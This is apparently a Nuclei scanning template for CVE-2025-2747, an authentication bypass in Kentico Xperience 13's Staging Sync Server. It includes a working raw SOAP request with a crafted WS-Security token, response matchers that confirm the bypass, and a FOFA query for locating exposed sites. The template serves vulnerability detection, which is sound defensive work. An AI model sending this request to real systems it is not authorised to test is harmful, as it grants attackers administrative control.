An authentication bypass vulnerability in Kentico Xperience allows authentication bypass via the Staging Sync Server component password handling for the server defined None type. Authentication bypass allows an attacker to control administrative objects.This issue affects Xperience through 13.0.178.
PoC代码[已公开]
id: CVE-2025-2747
info:
name: Kentico Xperience 13 CMS - Staging Service Authentication Bypass (WT-2025-0006)
author: DhiyaneshDK
severity: critical
description: |
An authentication bypass vulnerability in Kentico Xperience allows authentication bypass via the Staging Sync Server component password handling for the server defined None type. Authentication bypass allows an attacker to control administrative objects.This issue affects Xperience through 13.0.178.
reference:
- https://github.com/watchtowrlabs/kentico-xperience13-AuthBypass-wt-2025-0006
- https://devnet.kentico.com/download/hotfixes
- https://github.com/watchtowrlabs/kentico-xperience13-AuthBypass-wt-2025-0011
- https://labs.watchtowr.com/bypassing-authentication-like-its-the-90s-pre-auth-rce-chain-s-in-kentico-xperience-cms/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-2747
cwe-id: CWE-287
epss-score: 0.8756
epss-percentile: 0.99553
metadata:
verified: true
max-request: 1
fofa-query: app="Kentico-CMS"
tags: cve,cve2025,kentico,stag,auth-bypass,xperience13,kev,vkev,vuln
variables:
rand: "{{to_lower(rand_text_alpha(5))}}"
http:
- raw:
- |
POST /CMSPages/Staging/SyncServer.asmx HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://localhost/SyncWebService/SyncServer/ProcessSynchronizationTaskData"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
<wsse:UsernameToken>
<wsse:Username>y3t4kallxq</wsse:Username>
<wsse:Password Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordDigest">6dfzCOJsdj5Aw+1rGzwoHadPFTQ=</wsse:Password>
<wsse:Nonce>4JX/SboVYnxbh8hm3ySQdIUJtFK9cqUh</wsse:Nonce>
<wsu:Created>2025-03-10T20:11:07Z</wsu:Created>
</wsse:UsernameToken>
</wsse:Security>
</soap:Header>
<soap:Body>
<ProcessSynchronizationTaskData xmlns="http://localhost/SyncWebService/SyncServer">
<stagingTaskData><![CDATA[<{{rand}}>]]></stagingTaskData>
</ProcessSynchronizationTaskData>
</soap:Body>
</soap:Envelope>
matchers-condition: and
matchers:
- type: word
part: body
words:
- "{{rand}}"
- "<wsa:Action>"
condition: and
- type: word
part: body
words:
- "Site not running"
- "SyncServer.ErrorLicense"
- "SyncServer.ErrorServiceNotEnabled"
- "Staging service is not enabled on this server"
- "Staging does not work with blank password"
- "Missing X509 certificate token"
- "The security token could not be authenticated or authorized"
condition: or
negative: true
- type: word
part: content_type
words:
- "text/xml"
# digest: 490a0046304402201f7e7cf4043559f303cd9db77a8e77185861b9f1a72bfd7f3793742c281cbdb702202689723e3298c9a9ccee45634a16bc17457110632f5a38363b80ad184282cd6a:922c64590222798bb761d5b6d8e72950